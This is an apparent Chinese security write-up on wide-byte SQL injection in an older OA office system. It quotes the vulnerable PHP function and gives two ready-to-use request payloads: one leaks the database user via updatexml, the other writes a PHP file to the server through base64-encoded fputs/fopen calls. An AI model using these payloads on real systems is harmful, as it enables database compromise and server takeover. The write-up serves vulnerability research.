ddddb
漏洞发现
某OA 老版本中很多 SQL 语句都是直接采用拼接变量的形式,再加上此程序通篇的 gbk 编码,因此存在多处宽字节注入。在前辈的此篇文章中就提到了利用宽字节注入配合文件包含来 getshell,遂打算从注入点入手,来看看有没有漏网之鱼。
漏洞分析
漏洞点一
- getModuleQuickLinkStr( ) 函数中将 $entity_name 直接拼接在字符串中并返回
// webroot\general\crm\apps\crm\include\interface\list.interface.php function getModuleQuickLinkStr( $entity ) { global $connection; global $LOGIN_USER_ID; global $g_STUDIO_PATH; global $LOGIN_DEPT_ID_JUNIOR; global $LOGIN_DEPT_ID; global $LOGIN_USER_PRIV; global $LOGIN_USER_PRIV_OTHER; global $LOGIN_DEPT_ID_OTHER; if ( $LOGIN_USER_PRIV_OTHER != $LOGIN_USER_PRIV ) { $TEMP_LOGIN_USER_PRIV = explode( ",", $LOGIN_USER_PRIV_OTHER ); } else { $TEMP_LOGIN_USER_PRIV = $LOGIN_USER_PRIV; } include_once( $g_STUDIO_PATH."/include/entityAction.php" ); include_once( $g_STUDIO_PATH."/include/classes/quickLink.class.php" ); if ( empty( $entity ) ) { return FALSE; } $o = new QuickLink( $connection, $entity ); $o->LoadQuickLink( ); $entitys = $o->get_selectedEntitys( ); if ( empty( $entitys ) ) { } else { $str = "<select onfocus='QuickCreat.selectMonitor(this);' onchange='QuickCreat.selectMonitor(this);'><option value=''>"._( "快捷方式.." )."</option>"; foreach ( $entitys as $entity_name => $entity_label ) { if ( 0 < getviewprivofmodule( $entity_name, $TEMP_LOGIN_USER_PRIV ) ) { $str .= "<option value='".$entity_name."' title='{$entity_label}'>".( 18 < strlen( $entity_label ) ? substr( $entity_label, 0, 16 ).".." : $entity_label )."</option>"; } } $str .= "</select>"; return $str; } }
漏洞点二
- 全局搜索发现 webroot\general\crm\studio\modules\recycle\show.php 文件中调用了 getModuleQuickLinkStr( ) 函数
- 查看 $ENTITY 是否可控
- 尝试利用
宽字节注入
/general/crm/studio/modules/recycle/show.php?entity_name=1%da' and updatexml(1,concat(0x7e,user(),0x7e),1)--+
Getshell
注意:base64 编码之后的 payload 中不能包含 ' = ' ,否则无法写入 shell
/general/crm/studio/modules/recycle/show.php?entity_name=1%d5' ${ fputs(fopen(base64_decode(YXY4ZC5waHA),w),base64_decode(PD9waHAKCWVjaG8gZGF0ZSgnWS1tLWQgaDppOnMnLCB0aW1lKCkpOw))} #
点击收藏 | 1
关注 | 1